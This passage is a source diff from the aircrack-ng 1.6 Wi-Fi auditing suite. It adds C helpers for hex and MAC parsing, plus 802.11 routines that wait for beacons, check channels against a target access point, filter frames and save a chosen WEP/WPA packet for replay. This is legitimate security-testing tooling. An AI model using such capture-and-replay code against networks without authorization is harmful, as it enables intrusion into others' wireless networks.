+ */
+int hexCharToInt(unsigned char c)
+{
+	static int table_created = 0;
+	static int table[256];
+
+	int i;
+
+	if (table_created == 0)
+	{
+		/*
+		 * It may seem a bit long to calculate the table
+		 * but character position depend on the charset used
+		 * Example: EBCDIC
+		 * but it's only done once and then conversion will be really fast
+		 */
+		for (i = 0; i < 256; i++)
+		{
+
+			switch ((unsigned char) i)
+			{
+				case '0':
+					table[i] = 0;
+					break;
+				case '1':
+					table[i] = 1;
+					break;
+				case '2':
+					table[i] = 2;
+					break;
+				case '3':
+					table[i] = 3;
+					break;
+				case '4':
+					table[i] = 4;
+					break;
+				case '5':
+					table[i] = 5;
+					break;
+				case '6':
+					table[i] = 6;
+					break;
+				case '7':
+					table[i] = 7;
+					break;
+				case '8':
+					table[i] = 8;
+					break;
+				case '9':
+					table[i] = 9;
+					break;
+				case 'A':
+				case 'a':
+					table[i] = 10;
+					break;
+				case 'B':
+				case 'b':
+					table[i] = 11;
+					break;
+				case 'C':
+				case 'c':
+					table[i] = 12;
+					break;
+				case 'D':
+				case 'd':
+					table[i] = 13;
+					break;
+				case 'E':
+				case 'e':
+					table[i] = 14;
+					break;
+				case 'F':
+				case 'f':
+					table[i] = 15;
+					break;
+				default:
+					table[i] = -1;
+			}
+		}
+
+		table_created = 1;
+	}
+
+	return table[c];
+}
+
+// in: input string
+// in_length: length of the string
+// out: output string (needs to be already allocated).
+// out_length: length of the array
+// returns amount of bytes saved to 'out' or -1 if an error happened
+int hexStringToArray(char * in,
+					 int in_length,
+					 unsigned char * out,
+					 int out_length)
+{
+	int i, out_pos;
+	int chars[2];
+
+	char * input = in;
+	unsigned char * output = out;
+
+	if (in_length < 2 || out_length < (in_length / 3) + 1 || input == NULL
+		|| output == NULL)
+		return -1;
+
+	out_pos = 0;
+	for (i = 0; i < in_length - 1; ++i)
+	{
+		if (input[i] == '-' || input[i] == ':' || input[i] == '_'
+			|| input[i] == ' '
+			|| input[i] == '.')
+		{
+			continue;
+		}
+		// Check output array is big enough
+		if (out_pos >= out_length)
+		{
+			return -1;
+		}
+		chars[0] = hexCharToInt(input[i]);
+		// If first char is invalid (or '\0'), don't bother continuing (and you
+		// really shouldn't).
+		if (chars[0] < 0 || chars[0] > 15) return -1;
+
+		chars[1] = hexCharToInt(input[++i]);
+		// It should always be a multiple of 2 hex characters with or without
+		// separator
+		if (chars[1] < 0 || chars[1] > 15) return -1;
+		output[out_pos++] = ((chars[0] << 4) + chars[1]) & 0xFF;
+	}
+	return out_pos;
+}
+
+// Return the mac address bytes (or null if it's not a mac address)
+int getmac(const char * macAddress, const int strict, unsigned char * mac)
+{
+	char byte[3];
+	int i, nbElem;
+	unsigned n;
+
+	if (macAddress == NULL) return 1;
+
+	/* Minimum length */
+	if ((int) strlen(macAddress) < 12) return 1;
+
+	memset(mac, 0, 6);
+	byte[2] = 0;
+	i = nbElem = 0;
+
+	while (macAddress[i] != 0)
+	{
+		if (macAddress[i] == '\n' || macAddress[i] == '\r') break;
+
+		byte[0] = macAddress[i];
+		byte[1] = macAddress[i + 1];
+
+		if (sscanf(byte, "%x", &n) != 1 && strlen(byte) == 2) return 1;
+
+		if (hexCharToInt(byte[1]) < 0) return 1;
+
+		mac[nbElem] = n;
+
+		i += 2;
+		nbElem++;
+
+		if (macAddress[i] == ':' || macAddress[i] == '-'
+			|| macAddress[i] == '_')
+			i++;
+	}
+
+	if ((strict && nbElem != 6) || (!strict && nbElem > 6)) return 1;
+
+	return 0;
+}
+
+// Read a line of characters inputted by the user
+int readLine(char line[], int maxlength)
+{
+	int c;
+	int i = -1;
+
+	do
+	{
+		// Read char
+		c = getchar();
+
+		if (c == EOF) c = '\0';
+
+		line[++i] = (char) c;
+
+		if (line[i] == '\n') break;
+		if (line[i] == '\r') break;
+		if (line[i] == '\0') break;
+	} while (i + 1 < maxlength);
+	// Stop at 'Enter' key pressed or EOF or max number of char read
+
+	// Return current size
+	return i;
+}
+
+int hexToInt(char s[], int len)
+{
+	int i = 0;
+	int convert = -1;
+	int value = 0;
+
+	// Remove leading 0 (and also the second char that can be x or X)
+
+	while (i < len)
+	{
+		if (s[i] != '0' || (i == 1 && toupper((int) s[i]) != 'X')) break;
+
+		++i;
+	}
+
+	// Convert to hex
+
+	while (i < len)
+	{
+		convert = hexCharToInt((unsigned char) s[i]);
+
+		// If conversion failed, return -1
+		if (convert == -1) return -1;
+
+		value = (value * HEX_BASE) + convert;
+
+		++i;
+	}
+
+	return value;
+}
+
+char * get_current_working_directory(void)
+{
+	char * ret = NULL;
+	char * wd_realloc = NULL;
+	size_t wd_size = 0;
+
+	do
+	{
+		wd_size += PATH_MAX;
+		wd_realloc = (char *) realloc(ret, wd_size);
+		if (wd_realloc == NULL)
+		{
+			if (ret) free(ret);
+			return (NULL);
+		}
+		ret = wd_realloc;
+		wd_realloc = getcwd(ret, wd_size);
+		if (wd_realloc == NULL && errno != ERANGE)
+		{
+			free(ret);
+			return (NULL);
+		}
+	} while (wd_realloc == NULL && errno == ERANGE);
+
+	return (ret);
+}
+
+int string_has_suffix(const char * str, const char * suf)
+{
+	assert(str && suf);
+
+	const char * a = str + strlen(str);
+	const char * b = suf + strlen(suf);
+
+	while (a != str && b != suf)
+	{
+		if (*--a != *--b) break;
+	}
+	return b == suf && *a == *b;
+}
+
+int is_background(void)
+{
+	pid_t grp = tcgetpgrp(STDIN_FILENO);
+	if (grp == -1)
+	{
+		// Piped
+		return 0;
+	}
+
+	if (grp == getpgrp())
+	{
+		// Foreground
+		return 0;
+	}
+
+	// Background
+	return 1;
+}
+
+int station_compare(const void * a, const void * b)
+{
+	REQUIRE(a != NULL);
+	REQUIRE(b != NULL);
+
+	return (memcmp(a, b, ETHER_ADDR_LEN));
+}

aircrack-ng-1.6.tar.gz/lib/libac/support/communications.c Added

@@ -0,0 +1,1671 @@
+/*
+ *  Copyright (C) 2006-2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *  Copyright (C) 2006-2009 Martin Beck <martin.beck2@gmx.de>
+ *  Copyright (C) 2018-2019 Joseph Benden <joe@benden.us>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ *
+ *  In addition, as a special exception, the copyright holders give
+ *  permission to link the code of portions of this program with the
+ *  OpenSSL library under certain conditions as described in each
+ *  individual source file, and distribute linked combinations
+ *  including the two.
+ *  You must obey the GNU General Public License in all respects
+ *  for all of the code used other than OpenSSL. *  If you modify
+ *  file(s) with this exception, you may extend this exception to your
+ *  version of the file(s), but you are not obligated to do so. *  If you
+ *  do not wish to do so, delete this exception statement from your
+ *  version. *  If you delete this exception statement from all source
+ *  files in the program, then also delete it here.
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <errno.h>
+#include <stdint.h>
+#include <signal.h>
+#include <sys/time.h>
+#include <sys/types.h>
+
+#include "aircrack-ng/defs.h"
+#include "aircrack-ng/support/communications.h"
+#include "aircrack-ng/crypto/crypto.h"
+#include "aircrack-ng/support/pcap_local.h"
+#include "aircrack-ng/tui/console.h"
+#include "aircrack-ng/utf8/verifyssid.h"
+
+#include "aircrack-ng/osdep/byteorder.h"
+#include "aircrack-ng/osdep/packed.h"
+#include "aircrack-ng/third-party/ethernet.h"
+#include "aircrack-ng/third-party/ieee80211.h"
+
+extern struct communication_options opt;
+extern struct devices dev;
+struct wif *_wi_in = NULL, *_wi_out = NULL;
+uint8_t h80211[4096] __attribute__((aligned(16)));
+uint8_t tmpbuf[4096] __attribute__((aligned(16)));
+static char strbuf[512] __attribute__((aligned(16)));
+
+int read_packet(struct wif * wi,
+				void * buf,
+				uint32_t count,
+				struct rx_info * ri)
+{
+	REQUIRE(buf != NULL && count > 0);
+
+	int rc;
+
+	rc = wi_read(wi, NULL, NULL, buf, count, ri);
+	if (rc == -1)
+	{
+		switch (errno)
+		{
+			case EAGAIN:
+				return (0);
+
+			default:
+				perror("wi_read()");
+				return (-1);
+		}
+	}
+
+	return (rc);
+}
+
+int wait_for_beacon(struct wif * wi,
+					uint8_t * bssid,
+					uint8_t * capa,
+					char * essid)
+{
+	int chan = 0, tagtype = 0;
+	size_t taglen = 0, pos = 0, len = 0;
+	uint8_t pkt_sniff[4096];
+	struct timeval tv, tv2;
+	char essid2[33];
+
+	gettimeofday(&tv, NULL);
+	while (1)
+	{
+		len = 0;
+		while (len < 22)
+		{
+			len = (size_t) read_packet(wi, pkt_sniff, sizeof(pkt_sniff), NULL);
+
+			gettimeofday(&tv2, NULL);
+			if (((tv2.tv_sec - tv.tv_sec) * 1000000)
+					+ (tv2.tv_usec - tv.tv_usec)
+				> 10000 * 1000) // wait 10sec for beacon frame
+			{
+				return (-1);
+			}
+			if (len <= 0) usleep(1);
+		}
+
+		if (!memcmp(pkt_sniff, "\x80", 1))
+		{
+			pos = 0;
+			taglen = 22; // initial value to get the fixed tags parsing started
+			taglen += 12; // skip fixed tags in frames
+			do
+			{
+				pos += taglen + 2;
+				tagtype = pkt_sniff[pos];
+				taglen = pkt_sniff[pos + 1];
+			} while (tagtype != 3 && pos < len - 2);
+
+			if (tagtype != 3) continue;
+			if (taglen != 1) continue;
+			if (pos + 2 + taglen > len) continue;
+
+			chan = pkt_sniff[pos + 2];
+
+			if (essid)
+			{
+				pos = 0;
+				taglen
+					= 22; // initial value to get the fixed tags parsing started
+				taglen += 12; // skip fixed tags in frames
+				do
+				{
+					pos += taglen + 2;
+					tagtype = pkt_sniff[pos];
+					taglen = pkt_sniff[pos + 1];
+				} while (tagtype != 0 && pos < len - 2);
+
+				if (tagtype != 0) continue;
+				if (taglen <= 1)
+				{
+					if (bssid != NULL
+						&& memcmp(bssid, pkt_sniff + 10, ETHER_ADDR_LEN) == 0)
+						break;
+					else
+						continue;
+				}
+				if (pos + 2 + taglen > len) continue;
+
+				if (taglen > 32) taglen = 32;
+
+				if ((pkt_sniff + pos + 2)[0] < 32 && bssid != NULL
+					&& memcmp(bssid, pkt_sniff + 10, ETHER_ADDR_LEN) == 0)
+				{
+					break;
+				}
+
+				/* if bssid is given, copy essid */
+				if (bssid != NULL
+					&& memcmp(bssid, pkt_sniff + 10, ETHER_ADDR_LEN) == 0
+					&& strlen(essid) == 0)
+				{
+					memset(essid, 0, 33);
+					memcpy(essid, pkt_sniff + pos + 2, taglen);
+					break;
+				}
+
+				/* if essid is given, copy bssid AND essid, so we can handle
+				 * case insensitive arguments */
+				if (bssid != NULL
+					&& memcmp(bssid, NULL_MAC, ETHER_ADDR_LEN) == 0
+					&& strncasecmp(essid, (char *) pkt_sniff + pos + 2, taglen)
+						   == 0
+					&& strlen(essid) == (unsigned) taglen)
+				{
+					memset(essid, 0, 33);
+					memcpy(essid, pkt_sniff + pos + 2, taglen);
+					memcpy(bssid, pkt_sniff + 10, ETHER_ADDR_LEN);
+					printf("Found BSSID \"%02X:%02X:%02X:%02X:%02X:%02X\" to "
+						   "given ESSID \"%s\".\n",
+						   bssid[0],
+						   bssid[1],
+						   bssid[2],
+						   bssid[3],
+						   bssid[4],
+						   bssid[5],
+						   essid);
+					break;
+				}
+
+				/* if essid and bssid are given, check both */
+				if (bssid != NULL
+					&& memcmp(bssid, pkt_sniff + 10, ETHER_ADDR_LEN) == 0
+					&& strlen(essid) > 0)
+				{
+					memset(essid2, 0, 33);
+					memcpy(essid2, pkt_sniff + pos + 2, taglen);
+					if (strncasecmp(essid, essid2, taglen) == 0
+						&& strlen(essid) == (unsigned) taglen)
+						break;
+					else
+					{
+						printf("For the given BSSID "
+							   "\"%02X:%02X:%02X:%02X:%02X:%02X\", there is an "
+							   "ESSID mismatch!\n",
+							   bssid[0],
+							   bssid[1],
+							   bssid[2],
+							   bssid[3],
+							   bssid[4],
+							   bssid[5]);
+						printf(
+							"Found ESSID \"%s\" vs. specified ESSID \"%s\"\n",
+							essid2,
+							essid);
+						printf("Using the given one, double check it to be "
+							   "sure its correct!\n");
+						break;
+					}
+				}
+			}
+		}
+	}
+
+	if (capa) memcpy(capa, pkt_sniff + 34, 2);
+
+	return (chan);
+}
+
+/**
+	if bssid != NULL its looking for a beacon frame
+*/
+int attack_check(uint8_t * bssid,
+				 char * essid,
+				 uint8_t * capa,
+				 struct wif * wi,
+				 int ignore_negative_one)
+{
+	int ap_chan = 0, iface_chan = 0;
+
+	iface_chan = wi_get_channel(wi);
+
+	if (iface_chan == -1 && !ignore_negative_one)
+	{
+		PCT;
+		printf("Couldn't determine current channel for %s, you should either "
+			   "force the operation with --ignore-negative-one or apply a "
+			   "kernel patch\n",
+			   wi_get_ifname(wi));
+		return (-1);
+	}
+
+	if (bssid != NULL)
+	{
+		ap_chan = wait_for_beacon(wi, bssid, capa, essid);
+		if (ap_chan < 0)
+		{
+			PCT;
+			printf("No such BSSID available.\n");
+			return (-1);
+		}
+		if ((ap_chan != iface_chan)
+			&& (iface_chan != -1 || !ignore_negative_one))
+		{
+			PCT;
+			printf("%s is on channel %d, but the AP uses channel %d\n",
+				   wi_get_ifname(wi),
+				   iface_chan,
+				   ap_chan);
+			return (-1);
+		}
+	}
+
+	return (0);
+}
+
+int getnet(struct wif * wi,
+		   uint8_t * capa,
+		   int filter,
+		   int force,
+		   uint8_t * f_bssid,
+		   uint8_t * r_bssid,
+		   uint8_t * r_essid,
+		   int ignore_negative_one,
+		   int nodetect)
+{
+	uint8_t * bssid;
+
+	if (nodetect) return (0);
+
+	if (filter)
+		bssid = f_bssid;
+	else
+		bssid = r_bssid;
+
+	if (memcmp(bssid, NULL_MAC, ETHER_ADDR_LEN) != 0)
+	{
+		PCT;
+		printf("Waiting for beacon frame (BSSID: "
+			   "%02X:%02X:%02X:%02X:%02X:%02X) on channel %d\n",
+			   bssid[0],
+			   bssid[1],
+			   bssid[2],
+			   bssid[3],
+			   bssid[4],
+			   bssid[5],
+			   wi_get_channel(wi));
+	}
+	else if (strlen((const char *) r_essid) > 0)
+	{
+		PCT;
+		printf("Waiting for beacon frame (ESSID: %s) on channel %d\n",
+			   r_essid,
+			   wi_get_channel(wi));
+	}
+	else if (force)
+	{
+		PCT;
+		if (filter)
+		{
+			printf("Please specify at least a BSSID (-b) or an ESSID (-e)\n");
+		}
+		else
+		{
+			printf("Please specify at least a BSSID (-a) or an ESSID (-e)\n");
+		}
+
+		return (1);
+	}
+	else
+		return (0);
+
+	if (attack_check(bssid, (char *) r_essid, capa, wi, ignore_negative_one)
+		!= 0)
+	{
+		if (memcmp(bssid, NULL_MAC, ETHER_ADDR_LEN) != 0)
+		{
+			if (verifyssid(r_essid) == 0)
+			{
+				printf("Please specify an ESSID (-e).\n");
+			}
+		}
+		else
+		{
+			if (strlen((const char *) r_essid) > 0)
+			{
+				printf("Please specify a BSSID (-a).\n");
+			}
+		}
+
+		return (1);
+	}
+
+	return (0);
+}
+
+int filter_packet(unsigned char * h80211, int caplen)
+{
+	REQUIRE(h80211 != NULL);
+
+	int z, mi_b, mi_s, mi_d, ext = 0;
+
+	if (caplen <= 0) return (1);
+
+	z = ((h80211[1] & IEEE80211_FC1_DIR_MASK) != IEEE80211_FC1_DIR_DSTODS) ? 24
+																		   : 30;
+	if ((h80211[0] & IEEE80211_FC0_SUBTYPE_BEACON)
+		== IEEE80211_FC0_SUBTYPE_BEACON)
+	{
+		/* 802.11e QoS */
+		z += 2;
+	}
+
+	if ((h80211[0] & IEEE80211_FC0_TYPE_MASK)
+		== IEEE80211_FC0_TYPE_DATA) // if data packet
+		ext = z - 24; // how many bytes longer than default ieee80211 header
+
+	/* check length */
+	if (caplen - ext < opt.f_minlen || caplen - ext > opt.f_maxlen) return (1);
+
+	/* check the frame control bytes */
+
+	if ((h80211[0] & IEEE80211_FC0_TYPE_MASK) != (opt.f_type << 2)
+		&& opt.f_type >= 0)
+		return (1);
+
+	if ((h80211[0] & IEEE80211_FC0_SUBTYPE_CF_ACK_CF_ACK)
+			!= ((opt.f_subtype << 4) & 0x70)
+		&& // ignore the leading bit (QoS)
+		opt.f_subtype >= 0)
+		return (1);
+
+	if ((h80211[1] & IEEE80211_FC1_DIR_TODS) != (opt.f_tods) && opt.f_tods >= 0)
+		return (1);
+
+	if ((h80211[1] & IEEE80211_FC1_DIR_FROMDS) != (opt.f_fromds << 1)
+		&& opt.f_fromds >= 0)
+		return (1);
+
+	if ((h80211[1] & IEEE80211_FC1_PROTECTED) != (opt.f_iswep << 6)
+		&& opt.f_iswep >= 0)
+		return (1);
+
+	/* check the extended IV (TKIP) flag */
+
+	if (opt.f_type == 2 && opt.f_iswep == 1 && (h80211[z + 3] & 0x20) != 0)
+		return (1);
+
+	/* MAC address checking */
+
+	switch (h80211[1] & IEEE80211_FC1_DIR_MASK)
+	{
+		case IEEE80211_FC1_DIR_NODS:
+			mi_b = 16;
+			mi_s = 10;
+			mi_d = 4;
+			break;
+		case IEEE80211_FC1_DIR_TODS:
+			mi_b = 4;
+			mi_s = 10;
+			mi_d = 16;
+			break;
+		case IEEE80211_FC1_DIR_FROMDS:
+			mi_b = 10;
+			mi_s = 16;
+			mi_d = 4;
+			break;
+		case IEEE80211_FC1_DIR_DSTODS:
+			mi_b = 10;
+			mi_d = 16;
+			mi_s = 24;
+			break;
+		default:
+			abort();
+	}
+
+	if (memcmp(opt.f_bssid, NULL_MAC, ETHER_ADDR_LEN) != 0)
+		if (memcmp(h80211 + mi_b, opt.f_bssid, ETHER_ADDR_LEN) != 0) return (1);
+
+	if (memcmp(opt.f_bssid, opt.f_smac, ETHER_ADDR_LEN) == 0)
+	{
+		if (memcmp(opt.f_smac, NULL_MAC, ETHER_ADDR_LEN) != 0)
+			if (memcmp(h80211 + mi_s, opt.f_smac, ETHER_ADDR_LEN - 1) != 0)
+				return (1);
+	}
+	else
+	{
+		if (memcmp(opt.f_smac, NULL_MAC, ETHER_ADDR_LEN) != 0)
+			if (memcmp(h80211 + mi_s, opt.f_smac, ETHER_ADDR_LEN) != 0)
+				return (1);
+	}
+
+	if (memcmp(opt.f_bssid, opt.f_dmac, ETHER_ADDR_LEN) == 0)
+	{
+		if (memcmp(opt.f_dmac, NULL_MAC, ETHER_ADDR_LEN) != 0)
+			if (memcmp(h80211 + mi_d, opt.f_dmac, ETHER_ADDR_LEN - 1) != 0)
+				return (1);
+	}
+	else
+	{
+		if (memcmp(opt.f_dmac, NULL_MAC, ETHER_ADDR_LEN) != 0)
+			if (memcmp(h80211 + mi_d, opt.f_dmac, ETHER_ADDR_LEN) != 0)
+				return (1);
+	}
+
+	/* this one looks good */
+
+	return (0);
+}
+
+int capture_ask_packet(int * caplen, int just_grab)
+{
+	REQUIRE(caplen != NULL);
+
+	time_t tr;
+	struct timeval tv;
+	struct tm * lt;
+
+	fd_set rfds;
+	long nb_pkt_read;
+	int i, j, n, mi_b = 0, mi_s = 0, mi_d = 0, mi_t = 0, mi_r = 0, is_wds = 0,
+				 key_index_offset;
+	int ret, z;
+
+	FILE * f_cap_out;
+	struct pcap_file_header pfh_out;
+	struct pcap_pkthdr pkh;
+
+	if (opt.f_minlen < 0) opt.f_minlen = 40;
+	if (opt.f_maxlen < 0) opt.f_maxlen = 1500;
+	if (opt.f_type < 0) opt.f_type = 2;
+	if (opt.f_subtype < 0) opt.f_subtype = 0;
+	if (opt.f_iswep < 0) opt.f_iswep = 1;
+
+	tr = time(NULL);
+
+	nb_pkt_read = 0;
+
+	signal(SIGINT, SIG_DFL);
+
+	while (1)
+	{
+		if (time(NULL) - tr > 0)
+		{
+			tr = time(NULL);
+			printf("\rRead %ld packets...\r", nb_pkt_read);
+			fflush(stdout);
+		}
+
+		if (opt.s_file == NULL)
+		{
+			FD_ZERO(&rfds);
+			FD_SET(dev.fd_in, &rfds);
+
+			tv.tv_sec = 1;
+			tv.tv_usec = 0;
+
+			if (select(dev.fd_in + 1, &rfds, NULL, NULL, &tv) < 0)
+			{
+				if (errno == EINTR) continue;
+				perror("select failed");
+				return (EXIT_FAILURE);
+			}
+
+			if (!FD_ISSET(dev.fd_in, &rfds)) continue;
+
+			gettimeofday(&tv, NULL);
+
+			*caplen = read_packet(_wi_in, h80211, sizeof(h80211), NULL);
+
+			if (*caplen < 0) return (EXIT_FAILURE);
+			if (*caplen == 0) continue;
+		}
+		else
+		{
+			/* there are no hidden backdoors in this source code */
+
+			n = sizeof(pkh);
+
+			if (fread(&pkh, n, 1, dev.f_cap_in) != 1)
+			{
+				printf("\r");
+				erase_line(0);
+				printf("End of file.\n");
+				return (EXIT_FAILURE);
+			}
+
+			if (dev.pfh_in.magic == TCPDUMP_CIGAM)
+			{
+				SWAP32(pkh.caplen);
+				SWAP32(pkh.len);
+			}
+
+			tv.tv_sec = pkh.tv_sec;
+			tv.tv_usec = pkh.tv_usec;
+
+			n = *caplen = pkh.caplen;
+
+			if (n <= 0 || n > (int) sizeof(h80211) || n > (int) sizeof(tmpbuf))
+			{
+				printf("\r");
+				erase_line(0);
+				printf("Invalid packet length %d.\n", n);
+				return (EXIT_FAILURE);
+			}
+
+			if (fread(h80211, n, 1, dev.f_cap_in) != 1)
+			{
+				printf("\r");
+				erase_line(0);
+				printf("End of file.\n");
+				return (EXIT_FAILURE);
+			}
+
+			if (dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER)
+			{
+				/* remove the prism header */
+
+				if (h80211[7] == 0x40)
+					n = 64;
+				else
+					n = *(int *) (h80211 + 4); //-V1032
+
+				if (n < 8 || n >= (int) *caplen) continue;
+
+				memcpy(tmpbuf, h80211, *caplen);
+				*caplen -= n;
+				memcpy(h80211, tmpbuf + n, *caplen);
+			}
+
+			if (dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR)
+			{
+				/* remove the radiotap header */
+
+				n = *(unsigned short *) (h80211 + 2); //-V1032
+
+				if (n <= 0 || n >= (int) *caplen) continue;
+
+				memcpy(tmpbuf, h80211, *caplen);
+				*caplen -= n;
+				memcpy(h80211, tmpbuf + n, *caplen);
+			}
+
+			if (dev.pfh_in.linktype == LINKTYPE_PPI_HDR)
+			{
+				/* remove the PPI header */
+
+				n = le16_to_cpu(*(unsigned short *) (h80211 + 2)); //-V1032
+
+				if (n <= 0 || n >= (int) *caplen) continue;
+
+				/* for a while Kismet logged broken PPI headers */
+				if (n == 24
+					&& le16_to_cpu(*(unsigned short *) (h80211 + 8)) == 2)
+					n = 32;
+
+				if (n <= 0 || n >= (int) *caplen) continue; //-V560
+
+				memcpy(tmpbuf, h80211, *caplen);
+				*caplen -= n;
+				memcpy(h80211, tmpbuf + n, *caplen);
+			}
+		}
+
+		nb_pkt_read++;
+
+		if (filter_packet(h80211, *caplen) != 0) continue;
+
+		if (opt.fast) break;
+
+		z = ((h80211[1] & IEEE80211_FC1_DIR_MASK) != IEEE80211_FC1_DIR_DSTODS)
+				? 24
+				: 30;
+		if ((h80211[0] & IEEE80211_FC0_SUBTYPE_QOS)
+			== IEEE80211_FC0_SUBTYPE_QOS) /* QoS */
+			z += 2;
+
+		switch (h80211[1] & IEEE80211_FC1_DIR_MASK)
+		{
+			case IEEE80211_FC1_DIR_NODS:
+				mi_b = 16;
+				mi_s = 10;
+				mi_d = 4;
+				is_wds = 0;
+				break;
+			case IEEE80211_FC1_DIR_TODS:
+				mi_b = 4;
+				mi_s = 10;
+				mi_d = 16;
+				is_wds = 0;
+				break;
+			case IEEE80211_FC1_DIR_FROMDS:
+				mi_b = 10;
+				mi_s = 16;
+				mi_d = 4;
+				is_wds = 0;
+				break;
+			case IEEE80211_FC1_DIR_DSTODS:
+				mi_t = 10;
+				mi_r = 4;
+				mi_d = 16;
+				mi_s = 24;
+				is_wds = 1;
+				break; // WDS packet
+			default:
+				abort();
+		}
+
+		printf("\n\n        Size: %d, FromDS: %d, ToDS: %d",
+			   *caplen,
+			   (h80211[1] & IEEE80211_FC1_DIR_FROMDS) >> 1,
+			   (h80211[1] & IEEE80211_FC1_DIR_TODS));
+
+		if ((h80211[0] & IEEE80211_FC0_TYPE_MASK) == IEEE80211_FC0_TYPE_DATA
+			&& (h80211[1] & IEEE80211_FC1_WEP) != 0)
+		{
+			//             if (is_wds) key_index_offset = 33; // WDS packets
+			//             have an additional MAC, so the key index is at byte
+			//             33
+			//             else key_index_offset = 27;
+			key_index_offset = z + 3;
+
+			if ((h80211[key_index_offset] & 0x20) == 0)
+				printf(" (WEP)");
+			else
+				printf(" (WPA)");
+		}
+
+		printf("\n\n");
+
+		if (is_wds)
+		{
+			printf("        Transmitter  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
+				   h80211[mi_t],
+				   h80211[mi_t + 1],
+				   h80211[mi_t + 2],
+				   h80211[mi_t + 3],
+				   h80211[mi_t + 4],
+				   h80211[mi_t + 5]);
+
+			printf("           Receiver  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
+				   h80211[mi_r],
+				   h80211[mi_r + 1],
+				   h80211[mi_r + 2],
+				   h80211[mi_r + 3],
+				   h80211[mi_r + 4],
+				   h80211[mi_r + 5]);
+		}
+		else
+		{
+			printf("              BSSID  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
+				   h80211[mi_b],
+				   h80211[mi_b + 1],
+				   h80211[mi_b + 2],
+				   h80211[mi_b + 3],
+				   h80211[mi_b + 4],
+				   h80211[mi_b + 5]);
+		}
+
+		printf("          Dest. MAC  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
+			   h80211[mi_d],
+			   h80211[mi_d + 1],
+			   h80211[mi_d + 2],
+			   h80211[mi_d + 3],
+			   h80211[mi_d + 4],
+			   h80211[mi_d + 5]);
+
+		printf("         Source MAC  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
+			   h80211[mi_s],
+			   h80211[mi_s + 1],
+			   h80211[mi_s + 2],
+			   h80211[mi_s + 3],
+			   h80211[mi_s + 4],
+			   h80211[mi_s + 5]);
+
+		/* print a hex dump of the packet */
+
+		for (i = 0; i < *caplen; i++)
+		{
+			if ((i & 15) == 0)
+			{
+				if (i == 224)
+				{
+					printf("\n        --- CUT ---");
+					break;
+				}
+
+				printf("\n        0x%04x:  ", i);
+			}
+
+			printf("%02x", h80211[i]); //-V781
+
+			if ((i & 1) != 0) printf(" ");
+
+			if (i == *caplen - 1 && ((i + 1) & 15) != 0)
+			{
+				for (j = ((i + 1) & 15); j < 16; j++)
+				{
+					printf("  ");
+					if ((j & 1) != 0) printf(" ");
+				}
+
+				printf(" ");
+
+				for (j = 16 - ((i + 1) & 15); j < 16; j++)
+					printf("%c",
+						   (h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 126)
+							   ? '.'
+							   : h80211[i - 15 + j]);
+			}
+
+			if (i > 0 && ((i + 1) & 15) == 0)
+			{
+				printf(" ");
+
+				for (j = 0; j < 16; j++)
+					printf("%c",
+						   (h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 127)
+							   ? '.'
+							   : h80211[i - 15 + j]);
+			}
+		}
+
+		printf("\n\nUse this packet ? ");
+		fflush(stdout);
+		ret = 0;
+		while (!ret) ret = scanf("%1s", tmpbuf); //-V576
+		printf("\n");
+
+		if (tmpbuf[0] == 'y' || tmpbuf[0] == 'Y') break;
+	}
+
+	if (!just_grab)
+	{
+		pfh_out.magic = TCPDUMP_MAGIC;
+		pfh_out.version_major = PCAP_VERSION_MAJOR;
+		pfh_out.version_minor = PCAP_VERSION_MINOR;
+		pfh_out.thiszone = 0;
+		pfh_out.sigfigs = 0;
+		pfh_out.snaplen = 65535;
+		pfh_out.linktype = LINKTYPE_IEEE802_11;
+
+		lt = localtime((const time_t *) &tv.tv_sec);
+
+		memset(strbuf, 0, sizeof(strbuf));
+		snprintf(strbuf,
+				 sizeof(strbuf) - 1,
+				 "replay_src-%02d%02d-%02d%02d%02d.cap",
+				 lt->tm_mon + 1,
+				 lt->tm_mday,
+				 lt->tm_hour,
+				 lt->tm_min,
+				 lt->tm_sec);
+
+		printf("Saving chosen packet in %s\n", strbuf);
+
+		if ((f_cap_out = fopen(strbuf, "wb+")) == NULL)
+		{
+			perror("fopen failed");
+			return (EXIT_FAILURE);
+		}
+
+		n = sizeof(struct pcap_file_header);
+
+		if (fwrite(&pfh_out, n, 1, f_cap_out) != 1)
+		{
+			fclose(f_cap_out);
+			perror("fwrite failed\n");
+			return (EXIT_FAILURE);
+		}
+
+		pkh.tv_sec = tv.tv_sec;
+		pkh.tv_usec = tv.tv_usec;
+		pkh.caplen = *caplen;
+		pkh.len = *caplen;
+
+		n = sizeof(pkh);
+
+		if (fwrite(&pkh, n, 1, f_cap_out) != 1)
+		{
+			fclose(f_cap_out);
+			perror("fwrite failed");
+			return (EXIT_FAILURE);
+		}
+
+		n = pkh.caplen;
+
+		if (fwrite(h80211, n, 1, f_cap_out) != 1)
+		{
+			fclose(f_cap_out);
+			perror("fwrite failed");
+			return (EXIT_FAILURE);
+		}
+
+		fclose(f_cap_out);
+	}
+
+	return (EXIT_SUCCESS);
+}
+
+#define AIRODUMP_NG_CSV_EXT "csv"
+#define KISMET_CSV_EXT "kismet.csv"
+#define KISMET_NETXML_EXT "kismet.netxml"
+#define AIRODUMP_NG_GPS_EXT "gps"
+#define AIRODUMP_NG_CAP_EXT "cap"
+#define AIRODUMP_NG_LOG_CSV_EXT "log.csv"
+
+static const char * f_ext[] = {AIRODUMP_NG_CSV_EXT,
+							   AIRODUMP_NG_GPS_EXT,
